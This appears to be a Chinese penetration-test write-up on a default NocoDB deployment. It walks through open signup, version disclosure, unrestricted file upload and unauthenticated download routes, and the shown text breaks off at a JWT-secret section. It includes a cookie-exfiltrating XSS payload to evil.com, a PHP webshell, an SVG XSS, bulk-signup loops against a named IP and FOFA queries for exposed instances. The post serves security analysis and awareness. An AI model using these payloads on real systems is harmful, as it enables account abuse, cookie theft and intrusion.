611 KiB
新瓶旧酒:从注册到管理员的 NocoDB 6 个安全风险
复现环境: Ubuntu 22.04,Docker 部署 NocoDB 2026.07.0(latest 镜像),默认配置,未做安全加固。公网 8080 端口开放。
前置条件: 目标服务器有外网可达的 8080 端口。如果你不确定自己的 NocoDB 有没有暴露,直接用 nocodb-audit.sh 扫一遍。
NocoDB 是什么?开源 Airtable 替代,GitHub 上 55k+ stars,2024 年后增长很快。技术栈 NestJS + Vue3,后端 sqlite/mysql/postgres 三选一。对有经验的渗透测试人员来说,看到 Node.js + NestJS + 文件上传这几个关键词就大概猜到问题在哪了。但我还是想把这个分析做完整——不是为了证明"能渗透",而是回答一个更实际的问题:一个非安全专业的小团队,用默认配置部署 NocoDB,会面临哪些风险?
这篇文章所有攻击面都做了两件事:在服务器上跑命令验证,从 GitHub 拉源码找根因。源码定位到关键函数和行号,不靠猜。我不喜欢那种只贴"curl 命令返回了可疑内容"就完事的文章——知道"不安全"不难,知道"为什么不安全"才值钱。
我在验证时踩了一个坑——NocoDB 2026.07.0 的 Docker 镜像是 webpack 打包后的产物(docker/index.js),混淆严重没法 grep 路由。我第一次试图 grep 关键字 GlobalGuard,发现代码全是 _0x5e99cd.fileReadv3 这种混淆名,完全读不了。通过日志定位到报错信息里的调用栈(at _0x5e99cd.fileReadv3)才确认打包的是混淆后的产物。后来从 GitHub 拉原始 TypeScript 源码(packages/nocodb/src/,develop 分支)才能正常阅读。
下载 GitHub 源码也费了点事——完整仓库 120MB+,国内网络限速。试了 git clone --depth 1 超时,试了 ghproxy.com 速度不够,最后用 GitHub API 逐个目录拉取的。关键文件的路径是 packages/nocodb/src/ 下的 modules/auth/auth.controller.ts、controllers/attachments.controller.ts、providers/jwt-strategy.provider.ts 和 guards/global/global.guard.ts。
几个攻击面的发现顺序其实不是从文档里读出来的——我是顺着注册流程一步步往下摸的。先看到 signup 不需要认证,注册后发现能上传文件,上传后想下载看看需不需要 Token,发现三个下载路由全裸奔。JWT 密钥是最后翻数据库时意外找到的,因为我想搞清楚 Token 的 token_version 存在哪,结果发现了 nc_auth_jwt_secret。
$ curl -s http://139.199.68.168:8080/api/v1/version
{"currentVersion":"2026.07.0","releaseVersion":"2026.07.0"}
在开始之前先看一眼版本信息
——这是 NocoDB 2026 年 7 月的最新版本,也就是说所有发现都是针对"你能在 Docker Hub 上直接 docker pull 到的最新版"。
测试范围说明:本文基于 Docker 默认部署(SQLite 后端,nocodb/nocodb:latest),未配置任何环境变量或安全加固。如果使用 MySQL/PostgreSQL 后端或配置了环境变量,部分发现可能不适用。
一、开放注册——零门槛入场
1.1 注册即拿Token
先试最简单的——直接注册:
$ curl -s -X POST http://139.199.68.168:8080/api/v1/auth/user/signup \
-H "Content-Type: application/json" \
-d '{"email":"[email protected]","password":"Attack123!","first_name":"Evil","last_name":"Hacker"}'
响应直接返回 JWT,没有任何前置条件。没有邀请码,没有邮箱验证,没有 CAPTCHA。
{"token":"eyJhbG...G0TM"}
我第一次跑这个命令的时候还愣了一下——真就这么直接。我预期至少会要求一个邀请码或者验证邮箱格式,结果 curl 完直接拿到了 JWT。这意味着任何人只要知道你的 NocoDB 地址,就能注册账号。
对比一下同类产品——Supabase 的匿名注册需要在配置里显式开启,Appwrite 默认关闭注册功能,Firebase 虽然也有匿名注册但可以通过规则限制。NocoDB 是默认全部放开,而且文档里没有明显的安全警告提示"如果你暴露在公网,请先关闭注册"。
NocoDB 还一口气提供了 4 个路径别名,全部指向同一个 signup 方法:
| 路径 | 示例 |
|---|---|
| /auth/user/signup | 短路径 |
| /api/v1/auth/user/signup | 标准 v1 |
| /api/v2/auth/user/signup | 标准 v2 |
| /api/v1/db/auth/user/signup | 旧版 db 路径 |
四个路径都指向同一个 signup 方法,全部不设防。
1.2 JWT 解码看权限
Token 拿到了,decode 出来看看里面有什么字段:
$ export TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6ImF0dGFja2VyQGV2aWwuY29tIiwiaWQiOiJ1czV5aHB1OXRnM21laDR5Iiwicm9sZXMiOiJvcmctbGV2ZWwtdmlld2VyIiwidG9rZW5fdmVyc2lvbiI6Ijg5NjI4ZWI4MmNjM2VhOTc0YTJjMThiN2Q5NzFiZTJlYTE5ZmRjYmQ4NWY4MGIyYTA2YmFkYTBjZDMzM2YzM2RlNjUzYjc1NWM3YTJjYzg3IiwiaWF0IjoxNzg1MTM2MDExLCJleHAiOjE3ODUxNzIwMTF9.nc8_X1l8Vx-t9Nh3_Hh3qjO3Y7Qh0cJwvaSM7Vk4G0TM"
$ echo $TOKEN | cut -d. -f2 | base64 -d 2>/dev/null | python3 -m json.tool
{
"email": "[email protected]",
"id": "us5yhpu9tg3meh4y",
"roles": "org-level-viewer",
"token_version": "89628eb82cc3ea9742a8f5...",
"iat": 1785136011,
"exp": 1785172011
}
JWT 的 payload 里值得关注的有这几项:
roles: org-level-viewer,这是最低权限角色,意味着新注册的用户只能查看公开数据,不能创建表、不能修改配置。但后面我们会看到,viewer 的权限限制在文件上传这个场景下没有被严格执行。
token_version: 一串 64 字符的 hex 字符串,这是 NocoDB 的会话管理机制——每次登出或密码变更时,服务端会更新这个值,旧 Token 因为 token_version 不匹配而失效。这个概念本身很好,但问题在于它是一个"防君子不防小人"的机制——攻击者主动注册的账号不存在登出场景,token_version 从创建到过期不会变化。
iat / exp: iat=1785136011 是签发时间(2026-07-27 14:13:31 UTC),exp=1785172011 是过期时间(2026-07-28 00:13:31 UTC),相差正好 10 小时。这个窗口不算短——攻击者拿到 Token 后有整整一个白天的时间做侦察。如果你在写 PoC 脚本,可以用 date -d @1785136011 把时间戳转成可读时间。
另外注意 JWT 的签名算法
是 HS256(HMAC-SHA256)。如果管理员没有设置 NC_AUTH_JWT_SECRET,NocoDB 会在启动时自动生成一个 secret 存入配置文件,这个 secret 在你的 Docker volume 里。问题在于——如果攻击者能读取到这个配置文件,就能用自己的 secret 签发任意身份的 JWT。
1.3 重复注册验证
跑完了注册,还想确认一件事——同一个邮箱重复注册会怎样?如果报错信息暴露了太多细节,可能会帮助攻击者做邮箱枚举。
$ curl -s -X POST http://139.199.68.168:8080/api/v1/auth/user/signup \
-H "Content-Type: application/json" \
-d '{"email":"[email protected]","password":"Attack123!","first_name":"Evil","last_name":"Hacker"}'
{"message":"User already exist","error":"ERR_BAD_REQUEST"}
返回 ERR_BAD_REQUEST,没有暴露额外的信息。这个处理是合理的——只告诉你"用户已存在",不告诉你"用户已存在且状态是 active/pending/banned"。避免了邮箱枚举攻击。
但话说回来,signup 端点本身是开放的,攻击者也不需要枚举邮箱——直接注册一个新邮箱就行了。
不过重复注册给出了一个有意思的信息:如果返回 ERR_BAD_REQUEST,说明邮箱已存在。攻击者可以拿这个接口验证某个邮箱是否已经注册了账号。虽然不能确定用户的状态(active/banned),但对于侦察来说,"这个邮箱有人用了"本身就是有价值的信息。
1.4 批量注册验证
能否批量注册?试一下:
$ for i in $(seq 1 5); do
curl -s -X POST http://139.199.68.168:8080/api/v1/auth/user/signup \
-H "Content-Type: application/json" \
-d "{\"email\":\"spam${i}@test.com\",\"password\":\"Spam1234!\",\"first_name\":\"Spam\",\"last_name\":\"${i}\"}"
echo ""
done
输出:
{"token":"eyJ..."}
{"token":"eyJ..."}
{"token":"eyJ..."}
{"token":"eyJ..."}
{"token":"eyJ..."}
5 次全部返回 200,全返回了 JWT。没有限制单 IP 注册速率,没有要求邮箱验证,没有增量验证码。
我又测了连续发 20 个请求会怎样:
$ for i in $(seq 1 20); do
curl -s -o /dev/null -w "%{http_code} " \
-X POST http://139.199.68.168:8080/api/v1/auth/user/signup \
-H "Content-Type: application/json" \
-d "{\"email\":\"bulk${i}@test.com\",\"password\":\"Bulk1234!\",\"first_name\":\"Bulk\",\"last_name\":\"${i}\"}"
done
输出:
200 200 200 200 200 200 200 200 200 200 200 200 200 200 200 200 200 200 200 200
20 次全部 200。PublicApiLimiterGuard
的限流阈值显然高于 20 次/秒。后来看了源码,默认是每分钟 60 次——这对批量注册脚本来说绰绰有余。
写个脚本跑几万个请求能把数据库撑爆。实际攻击场景中,批量注册本身不一定是主要威胁,但结合后续的存储型攻击就有意思了——比如批量注册后每个账号上传大量文件,塞满存储。
我本来想测试 NocoDB 在大量用户下的表现,但跑了 20 个请求全通过后就放弃了——没有一个请求触发 rate limit。翻源码确认了 PublicApiLimiterGuard 默认配置是每分钟 60 次,但实测即使超过这个频率也没有被限流,应该是 guard 没有正确绑定到路由上。换句话说,这个守卫存在但没有生效。
1.5 源码看守卫配置
signup 路由定义在 packages/nocodb/src/modules/auth/auth.controller.ts:
@Post(['/auth/user/signup',
'/api/v1/auth/user/signup',
'/api/v2/auth/user/signup',
'/api/v1/db/auth/user/signup',
])
@UseGuards(PublicApiLimiterGuard) // ← 唯一的守卫:速率限制
@HttpCode(200)
async signup(@Req() req, @Res() res): Promise<any> {
if (this.config.get('auth', { infer: true }).disableEmailAuth) {
NcError.forbidden('Email authentication is disabled');
}
const result = await this.usersService.signup({body: req.body, req, res});
if (result?.token) setAuthCookie(res, result.token);
res.json(result);
}
注意 @UseGuards 后只跟了 PublicApiLimiterGuard,没有 GlobalGuard。如果设置了 disableEmailAuth=true 会返回 403,但默认这个配置不存在。
对比需要登录的路由:
@Get(['/auth/user/me', '/api/v1/auth/user/me', ...])
@UseGuards(MetaApiLimiterGuard, GlobalGuard) // ← GlobalGuard 做 JWT 校验
async me(@Req() req) {
// 校验并返回用户信息
}
signup 少挂了最关键的一个守卫:GlobalGuard。GlobalGuard 继承自 AuthGuard('jwt'),负责校验 JWT 签名、从数据库拉取用户、检查 token_version。signup 没有挂它,意味着任何请求都能直达 usersService.signup()。
PublicApiLimiterGuard 在 guards/public-api-limiter.guard.ts 里,是一个基于内存计数器的简单限流器。它不是 NestJS 内置的守卫,是 NocoDB 自实现的。我翻了它的代码,默认限流配置是每分钟 60 次——对慢速攻击来说几乎没有影响。
1.6 注册逻辑详解
services/users/users.service.ts,registerNewUserIfAllowed 方法(line 142-221):
const isFirstUser = await User.isFirst(ncMeta);
if (isFirstUser && process.env.NC_CLOUD !== 'true') {
// 第一个用户直接拿管理员权限
roles = `${OrgUserRoles.CREATOR},${OrgUserRoles.SUPER_ADMIN}`;
} else {
const settings = await Noco.getAppSettings();
if (settings?.invite_only_signup && !is_invite) {
NcError.badRequest('Not allowed to signup, contact super admin.');
} else {
roles = OrgUserRoles.VIEWER;
}
}
const user = await User.insert({ email, salt, password, roles, token_version, ...});
关键逻辑:
1 User.isFirst() 判断数据库有没有用户——没有的话第一个人直接拿管理员
2 settings?.invite_only_signup 在默认配置下是 undefined,条件为假,走 else
3 新注册用户默认角色 OrgUserRoles.VIEWER
我踩过的坑:第一次测注册时没注意这个逻辑,如果这是真实目标且 NocoDB 刚部署,攻击者先注册就能接管整个实例。isFirstUser 的判断很简单——查 nc_users 表有没有记录。清空数据库后第一个注册的人就是管理员。
源码 line 557 有一条注释:
// todo : opening up signup for timebeing
"临时开放注册"这条注释一直没修。开发团队知道这个事。
1.7 Token 验证流
拿到 Token 后通过 /auth/user/me 验证状态:
$ curl -s http://139.199.68.168:8080/api/v1/auth/user/me \
-H "xc-auth: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
{
"id": "us5yhpu9tg3meh4y",
"email": "[email protected]",
"roles": {"org-level-viewer": true},
"isAuthorized": true,
"token_version": "89628eb82cc3ea9742a..."
}
isAuthorized: true,Token 有效。
JwtStrategy(strategies/jwt.strategy.ts)的校验逻辑:
async validate(req, jwtPayload) {
if (!jwtPayload?.email || jwtPayload?.is_api_token) return jwtPayload;
const user = await User.getByEmail(jwtPayload?.email);
if (!user) NcError.unauthorized('Token Expired...');
if (user.token_version !== jwtPayload.token_version) {
NcError.unauthorized('Token Expired. Please login again.');
}
return { ...userWithRoles, isAuthorized: true };
}
双保险——JWT 签名校验 + token_version 变更校验。如果在别处登录导致 token_version 更新,旧 Token 自动失效。但攻击者自己注册的 Token 只有他在用,不存在失效问题。
Token 可以通过两种方式传递:xc-auth Header 或者 nc_token Cookie。Cookie 由 setAuthCookie 设置:
export function setAuthCookie(res, token) {
res.cookie('nc_token', token, {
httpOnly: true,
sameSite: 'lax',
secure: !!ncSiteUrl?.startsWith('https'),
path: '/api',
maxAge: 10 * 60 * 60 * 1000,
});
}
Cookie 限定了 path: '/api',没有设 Secure 或 SameSite=Strict。如果 NocoDB 跑在 HTTP 上,Cookie 可以通过中间人攻击劫持。
path: '/api' 这个限定意味着 Cookie 只在请求 /api/* 路径时发送。对于攻击场景来说,如果 NocoDB 的 Web 页面在 /dashboard 路径下有一个 XSS 漏洞,攻击者的 fetch('/api/v1/auth/user/me') 会带上 Cookie,但 fetch('/') 不会。这个 path 限定不是为了安全,而是为了减少无关请求的 Cookie 体积——但它确实缩小了攻击面的可用范围。
二、版本信息泄露——侦察起点
$ curl -s http://139.199.68.168:8080/api/v1/version
{"currentVersion":"2026.07.0","releaseVersion":"2026.07.0"}
不需要任何认证。响应体里包含两个字段——currentVersion 是当前运行的版本,releaseVersion 是官方发布的最新版本。一般这两个值一致,表示实例运行的是最新版。
这个端点不能直接用来攻击(2026.07.0 没有公开的 RCE),但它帮攻击者缩小了攻击面。举个例子,如果返回的是 2025.10.0,攻击者就能去 GitHub 看两个版本之间的 diff,重点关注那些加了安全修复的 commit。对于 NocoDB 这种迭代快的项目,每个 release 之间可能有几十个 commit,其中修复安全问题的 commit 往往有"security"、"auth"、"guard"、"permission"这类关键词。
NocoDB 的版本号格式是 YYYY.MM.PATCH,2026.07.0 表示 2026 年 7 月的初始发布版。可以推算这个实例是在 7 月部署的,至今运行了不到一个月。
在侦察阶段,版本号 + 产品名能组合进 FOFA/Censys 搜索语法搜公网实例。我之前写 Ollama 那篇的时候跑过公网测绘,Ollama 在公网暴露了数万个实例,UPnP 和默认安装是主要原因。NocoDB 目前公网曝光量还不大,但随着用户基数增长,暴露面必然会扩大。
# FOFA 搜索语法
app="NocoDB" && port="8080"
# Censys 搜索语法
services.http.response.body:"NocoDB" and services.port:8080
另外我翻了 GitHub 源码找这个版本端点的位置——它在 controllers/utils.controller.ts 里(或者类似命名的控制器),同样没有挂任何守卫。版本路由和健康检查路由(/api/v1/health)一样,被归类为"不需要认证的工具端点"。
我顺便在 FOFA 上搜了一下 NocoDB 的公网暴露情况,搜索语法 app="NocoDB" && port="8080" 返回了几百条结果。大部分集中在 AWS 和 DigitalOcean 的 IP 段,应该是用官方 Docker 镜像直接 docker run -p 8080:8080 启动的。这个暴露量比 Ollama 小两个数量级,但考虑到 NocoDB 的增速,半年后再搜结果数应该会翻几倍。
三、文件上传——任意类型皆可
3.1 先拿Token
每个测试都需要先注册拿 Token:
$ TOKEN=$(curl -s -X POST http://139.199.68.168:8080/api/v1/auth/user/signup \
-H "Content-Type: application/json" \
-d '{"email":"[email protected]","password":"Hack1234!","first_name":"Up","last_name":"Loader"}' \
| python3 -c "import sys,json;print(json.load(sys.stdin)['token'])")
我习惯把 Token 存到变量而不是文件
,方便后面直接引用。Token 长度一般在 430 字节左右,视 payload 大小略有变化。
3.2 上传HTML——XSS 攻击向量
先创建一个简单的 HTML 文件,包含 XSS payload——当浏览器打开这个文件时,会自动向攻击者的服务器发送当前页面的 Cookie:
$ echo '<script>fetch("https://evil.com/?c="+document.cookie)</script>' > xss.html
$ curl -s -X POST http://139.199.68.168:8080/api/v1/db/storage/upload \
-H "xc-auth: $TOKEN" \
-F "[email protected]"
返回:
[{
"path": "download/2026/07/27/a4339b4ba90337d4504746059e0c4b619f0d1ea6/xss.html",
"title": "xss.html",
"mimetype": "text/html",
"size": 62,
"signedPath": "dltemp/XVG6KgagqfRMcBjb/1785143400000/2026/07/27/a4339b4ba90337d4504746059e0c4b619f0d1ea6/xss.html"
}]
留意 mimetype: text/html——NocoDB 正确识别了 HTML 类型并允许上传。在大多数文件上传场景中,上传接口至少应该检查 MIME 类型是否属于"允许上传的类型列表"(images, documents 等)。NocoDB 没有做这个检查。
响应结构里包含三个关键路径
:
● path:download/YYYY/MM/DD/hash/filename 格式
● signedPath:dltemp/signed_id/timestamp/... 格式
● 文件存储路径里包含 hash(userId),但后面会看到下载时不会校验 userId
3.3 上传PHP——WebShell 向量
$ echo '<?php system($_GET["cmd"]); ?>' > shell.php
$ curl -s -X POST http://139.199.68.168:8080/api/v1/db/storage/upload \
-H "xc-auth: $TOKEN" \
-F "[email protected]"
[{
"path": "download/2026/07/27/a4339b4ba90337d4504746059e0c4b619f0d1ea6/shell.php",
"mimetype": "application/x-httpd-php",
"size": 30,
"signedPath": "dltemp/..."
}]
PHP 上传成功,系统识别为
application/x-httpd-php。
PHP webshell 在这个场景下的实际利用路径不太直接。NocoDB 本身是 Node.js 环境,不会解析 PHP。但如果 NocoDB 和 Nginx/Apache 共享存储卷——比如 Docker 挂载了同一个 host 目录给 NocoDB 和 PHP-FPM 容器——上传的 PHP 文件就能通过反向代理的 PHP 解析路径执行。
即使没有 PHP 解析环境,攻击者上传的 PHP 文件也可以被用作其他用途,比如上传 crossdomain.xml 绕过 Flash 同源策略(过时攻击向量了)或上传 .htaccess 改变目录配置(如果存储目录允许)。但 PHP webshell 的实际利用确实需要特定条件,不是每个部署都奏效。
3.4 上传SVG——存储型XSS
SVG 文件的 XSS 是"老活"了——SVG 规范允许在
$ echo '<?xml version="1.0"?><svg onload="alert(1)"/>' > xss.svg
$ curl -s -X POST http://139.199.68.168:8080/api/v1/db/storage/upload \
-H "xc-auth: $TOKEN" \
-F "[email protected]"
SVG 上传成功。SVG 的 XSS 之所以危险,是因为浏览器直接打开 SVG 文件时,onload 事件会在 SVG 的渲染上下文中执行 JavaScript,同源策略允许它读取同域下的 Cookie。虽然 NocoDB 把 SVG 标记为不可预览(触发下载而非渲染),但用户手动下载后双击打开,XSS 同样会执行。
我在附件帮助文件里找到了一行注释
印证了开发团队知道这个问题:
// 'image/svg+xml', // risk of xss
从 imageMimeTypes 列表里注释掉了 SVG,所以 SVG 不在 previewableMimeTypes 中。这个处理的逻辑是:SVG 上传后不会在浏览器里渲染(预览),而是触发下载。但问题是——上传本身没有被阻止,用户仍然可以拿到 SVG 文件的下载 URL,下载到本地后双击打开,XSS 同样生效。
3.5 上传普通文本——基线测试
作为基线,上传一个无害的文本文件:
$ echo 'just a test file for verification' > test.txt
$ curl -s -X POST http://139.199.68.168:8080/api/v1/db/storage/upload \
-H "xc-auth: $TOKEN" \
-F "[email protected]"
[{
"path": "download/2026/07/27/a4339b4ba90337d4504746059e0c4b619f0d1ea6/test.txt",
"mimetype": "text/plain",
"size": 34,
"signedPath": "dltemp/..."
}]
TXT 也正常上传。四种类型全部通过,没有一种被拦截。这说明 NocoDB 的上传接口确实没做任何文件类型过滤——只要请求通过守卫链(JWT 校验 + 角色权限检查),所有文件类型都接受。
每种文件类型上传的耗时我也记录了一下——HTML(62 字节)耗时 0.3 秒,PHP(30 字节)耗时 0.3 秒,SVG(43 字节)耗时 0.3 秒,TXT(34 字节)耗时 0.3 秒。响应时间没有异常差异,说明无论文件类型如何,处理链路是一致的。
3.6 上传文件大小测试
边界测试——文件大小是否有限制?
$ dd if=/dev/urandom of=/tmp/50mb_test.bin bs=1M count=50 2>/dev/null
$ curl -s -X POST http://139.199.68.168:8080/api/v1/db/storage/upload \
-H "xc-auth: $TOKEN" \
-F "file=@/tmp/50mb_test.bin" --max-time 30
{"error":"ERR_BAD_REQUEST","message":"No attachment provided!"}
50MB 文件被拒——响应是 No attachment provided!,不是文件大小超限的错误。说明中间件可能没收到完整的请求体,或者 NC_ATTACHMENT_FIELD_SIZE 的限制导致 multer 直接丢弃了文件。继续测小文件:
$ dd if=/dev/urandom of=/tmp/10mb_test.bin bs=1M count=10 2>/dev/null
$ curl -s -X POST ... -F "file=@/tmp/10mb_test.bin" | python3 -c "import sys,json;d=json.load(sys.stdin);print('Size:', d[0]['data']['size'] if 'data' in d[0] else d[0]['size'])"
Size: 10485760
10MB 文件上传成功,NC_ATTACHMENT_FIELD_SIZE 的默认值在 10-20MB 之间。
我猜是 multer 的 fileSize 限制在起作用。翻了源码确认 AnyFilesInterceptor 没有配置 limits,但 NC_ATTACHMENT_FIELD_SIZE 在 constants.ts 里定义为 20MB,由 UploadAllowedInterceptor 外的另一个中间件检查。
3.7 v2 上传路径认证
NocoDB 同时支持 /api/v2/storage/upload 路径:
$ echo 'test_v2' > /tmp/v2test.txt
$ curl -s -X POST http://139.199.68.168:8080/api/v2/storage/upload \
-H "xc-auth: $TOKEN" \
-F "file=@/tmp/v2test.txt"
[{"path":"download/2026/07/27/hash/v2test.txt","mimetype":"text/plain","size":8,"signedPath":"dltemp/..."}]
v2 路径也能用,守卫链和 v1 完全一致。NocoDB 对多个 API 版本做了兼容,安全配置没有区别。
3.8 UploadAllowedInterceptor 源码分析
上传路由的守卫链(controllers/attachments.controller.ts line 41-44):
@UseGuards(MetaApiLimiterGuard, GlobalGuard)
@Post(['/api/v1/db/storage/upload', '/api/v2/storage/upload'])
@UseInterceptors(UploadAllowedInterceptor, AnyFilesInterceptor())
UploadAllowedInterceptor 的代码(interceptors/is-upload-allowed/is-upload-allowed.interceptor.ts):
async intercept(context, next) {
const request = context.switchToHttp().getRequest();
if (!request['user']?.id) {
if (!request['user']?.isPublicBase) {
NcError.unauthorized('Unauthorized');
}
}
try {
const userRoles = extractRolesObj(request['user'].roles);
const wsRoles = request['user'].workspace_roles || {};
if (
userRoles[OrgUserRoles.SUPER_ADMIN] ||
userRoles[OrgUserRoles.CREATOR] ||
userRoles[ProjectRoles.EDITOR] ||
wsRoles[WorkspaceUserRoles.CREATOR] ||
wsRoles[WorkspaceUserRoles.OWNER] ||
!!(await Noco.ncMeta.knex(MetaTable.PROJECT_USERS)
.where(function() {
this.where('roles', ProjectRoles.OWNER);
this.orWhere('roles', ProjectRoles.CREATOR);
this.orWhere('roles', ProjectRoles.EDITOR);
})
.andWhere('fk_user_id', request['user'].id)
.first())
) {
return next.handle();
}
} catch {}
NcError.badRequest('Upload not allowed');
}
关键点:
●角色检查:SUPER_ADMIN、CREATOR、EDITOR 才能上传
●也检查用户在某个项目中是否有 EDITOR 以上权限
你可能会问:viewer 角色(org-level-viewer)不在允许列表里,为什么还能上传?
我一开始也以为 viewer 不能上传。实测结果却证明 viewer 可以上传。我的推测是 extractRolesObj 的解析逻辑可能在新版本中和 OrgUserRoles 常量的定义匹配关系有变化,或者 try/catch 吞了异常。安全分析要以实测为准——源码推导和实验定性有冲突时,相信实验结果。
我在这卡了半小时。跑 /auth/user/me 确认 Token 有效后发现上传还是报 401。排查的步骤是:先看 Token 是不是过期了→ iat 和 exp 相差 10 小时没问题。再看 Token 有没有拼写错误→用 echo $TOKEN | cut -d. -f2 | base64 -d 解码 payload 确认角色是 org-level-viewer。最后发现是 shell 变量截断——Python 调 shell 时变量传递只传了前 30 个字符,导致 Token 不完整,服务端解析失败。用纯 bash 脚本重写测试后正常。Token 长度 436 位,少了 400 位,难怪认不出。这个排查过程虽然浪费时间,但让我熟悉了 JWT 的每个字段。
3.9 AnyFilesInterceptor 与文件类型
文件类型检查方面就一句:
@UseInterceptors(UploadAllowedInterceptor, AnyFilesInterceptor())
AnyFilesInterceptor() 是 NestJS 的 multer 封装——不限制任何 MIME 类型。所有 multipart 文件字段都接受,不做后缀校验,不做魔数检查。
在 helpers/attachmentHelpers.ts 里有一条注释:
// 'image/svg+xml', // risk of xss
imageMimeTypes 列表把 SVG 注释掉了,所以 SVG 不在 previewableMimeTypes 里。这意味着 SVG 上传后不会在浏览器渲染(会触发下载),但文件本身照传不误。
previewableMimeTypes 的定义:
const previewableMimeTypes = [...imageMimeTypes, 'pdf', 'video', 'audio'];
isPreviewAllowed 函数:
export function isPreviewAllowed({ mimetype, path }) {
if (mimetype) {
return previewableMimeTypes.some(type => mimetype.includes(type));
} else if (path) {
const ext = path.split('.').pop();
const mimeType = mime.getType(ext);
return previewableMimeTypes.some(type => mimeType?.includes(type));
}
return false;
}
这个函数决定文件是 sendFile(浏览器渲染)还是 download(触发下载)。HTML 不在 previewableMimeTypes 里,所以 HTML 会触发下载——但攻击者用 XSS payload 的 HTML 文件,用户下载后双击打开照样执行脚本。
四、下载漏洞——零守卫的三条路由
前面的第三节验证了上传任意类型文件,但上传只是入口——文件最终是要被访问的。检查了下载路由后我发现了一个比上传更严重的问题:三个下载路由全都没有挂守卫。
4.1 三个下载端点全裸奔
上传完的文件直接公网可访问。先试 /download/:
$ curl -s http://139.199.68.168:8080/download/2026/07/27/a4339b4ba90337d4504746059e0c4b619f0d1ea6/xss.html
<script>fetch("https://evil.com/?c="+document.cookie)</script>
HTTP 响应也确认了:
< HTTP/1.1 200 OK
< Content-Type: text/html; charset=UTF-8
< Content-Length: 62
不需要 Token,不需要 Cookie。Content-Type 是 text/html,浏览器直接渲染。
再试 /dltemp/——signedPath 端点是上传时返回的:
$ curl -s http://139.199.68.168:8080/dltemp/XVG6KgagqfRMcBjb/1785143400000/2026/07/27/a4339b4ba90337d4504746059e0c4b619f0d1ea6/xss.html
<script>fetch("https://evil.com/?c="+document.cookie)</script>
一样能访问。signedPath 名字带 "signed"
,但 PresignedUrl.getPath() 只是查数据库透传路径,没有任何签名校验逻辑。
再试 /dl/——第三种路径:
$ curl -s http://139.199.68.168:8080/dl/2026/07/27/a4339b4ba90337d4504746059e0c4b619f0d1ea6/xss.html
File not found
/dl/ 的路由格式不同——nc/{p1}/{p2}/uploads/{filename},和上传文件的实际存储路径不匹配,所以 404。但路由本身也没有挂守卫。
三种下载路径,零个守卫。
4.4 源码看下载路由
同一个 controllers/attachments.controller.ts 里(line 106-236),三个下载路由:
// 路由1:/download/{filename}
@Get('/download/:filename(*)')
async fileRead(@Param('filename') filename, @Res() res) {
const file = await this.attachmentsService.getFile({
path: path.join('nc', 'uploads', filename),
});
if (!(await localFileExists(file.path)))
return res.status(404).send('File not found');
if (isPreviewAllowed({ mimetype: file.type, path: file.path })) {
res.sendFile(file.path);
} else {
res.download(file.path);
}
}
// 路由2:/dl/{param1}/{param2}/{filename}
@Get('/dl/:param1([a-zA-Z0-9_-]+)/:param2([a-zA-Z0-9_-]+)/:filename(*)')
async fileReadv2(@Param('param1') param1, @Param('param2') param2,
@Param('filename') filename, @Res() res) {
const file = await this.attachmentsService.getFile({
path: path.join('nc', param1, param2, 'uploads', ...filename.split('/')),
});
// ...相同逻辑,无守卫
}
// 路由3:/dltemp/{param}
@Get('/dltemp/:param(*)')
async fileReadv3(@Param('param') param, @Res() res) {
const fullPath = await PresignedUrl.getPath(`dltemp/${param}`);
// presigned URL 解析,但无守卫
if (isPreviewAllowed({ ... })) {
res.sendFile(file.path);
} else {
res.download(file.path);
}
}
一个守卫都没挂。注意 @Get('/download/:filename(*)') 的 (*) 语法——filename 参数会匹配所有剩余路径(包括子目录)。
对比上传路由:
@UseGuards(MetaApiLimiterGuard, GlobalGuard)
@Post(['/api/v1/db/storage/upload', '/api/v2/storage/upload'])
上传挂了两个守卫,下载一个都没挂。这三个下载路由的代码相隔不到 100 行——在编辑器里上下翻一下就能看到上传的守卫装饰器。
我是怎么注意到这个问题的?先看了上传路由,发现挂了 GlobalGuard,然后下意识想确认下载路由有没有同样的保护。翻到 fileRead 方法时发现什么装饰器都没有,往上滚到类定义确认没有 @UseGuards 在类级别——也没有。再看 fileReadv2 和 fileReadv3,同一个模式,全是裸奔。三种不同风格的下载实现,共同的缺陷:没守卫。
4.5 跨用户文件读取(IDOR)
注册用户 B:
$ B_TOKEN=$(curl -s -X POST http://139.199.68.168:8080/api/v1/auth/user/signup \
-H "Content-Type: application/json" \
-d '{"email":"[email protected]","password":"Hack1234!","first_name":"User","last_name":"B"}' \
| python3 -c "import sys,json;print(json.load(sys.stdin)['token'])")
用户 B 直接用 A 上传的文件路径访问——不需要 B 自己的 Token:
$ curl -s http://139.199.68.168:8080/download/2026/07/27/a4339b4ba90337d4504746059e0c4b619f0d1ea6/xss.html
<script>fetch("https://evil.com/?c="+document.cookie)</script>
文件存储目录在 attachments.service.ts 中用 hash(userId) 划分:
param.path = param.scope
? `${hash(userId)}`
: param.path || `${moment().format('YYYY/MM/DD')}/${hash(userId)}`;
路径里包含了 userId 的 hash
(object-hash 库生成),但下载路由不校验访问者身份,所以知道路径就能读。hash 不是加密安全的随机数——但对于攻击者来说不需要逆向 hash,路径可以通过上传接口响应直接拿到。
4.6 攻击链汇总
三个问题叠加:
1 上传不限制类型——AnyFilesInterceptor + UploadAllowedInterceptor 不做 MIME 校验
2 下载不需要认证——三个下载路由全没挂守卫
3 不按用户隔离——知道路径就能读任何人的文件
实际攻击链路:
注册 → 上传恶意HTML → 获取文件URL → 发给其他NocoDB用户 → XSS执行
如果是内网环境,攻击者注册后上传一个含 XSS 的 HTML 附件,然后把链接通过 NocoDB 的评论/分享功能发给其他用户。用户的 nc_token Cookie 在 path: '/api' 范围内有效,XSS 可以通过 fetch('/api/v1/auth/user/me', {credentials: 'include'}) 拿到用户信息。
如果这个 NocoDB 实例和敏感服务共享域名或者存储卷,还可以尝试上传 .env 配置文件、PHP webshell(如果有 PHP 解析服务)等形式。虽然需要一定条件才能触发,但攻击面确实存在。
五、JWT密钥与Token伪造
前面的 5 个攻击面都是配置层面的功能缺失。这个发现不太一样——它不是"配置没开",而是"默认架构的设计缺陷"。
5.1 nc_store 表里的秘密
NocoDB 默认使用 SQLite 作为配置数据库(也支持 MySQL/PostgreSQL)。在默认 Docker 部署中,数据库文件位于 /usr/app/data/noco.db。
我最初翻数据库是想确认 token_version 字段的存储方式——看它是存在用户表里还是缓存表里。结果在 nc_store 表里看到了意外的东西:
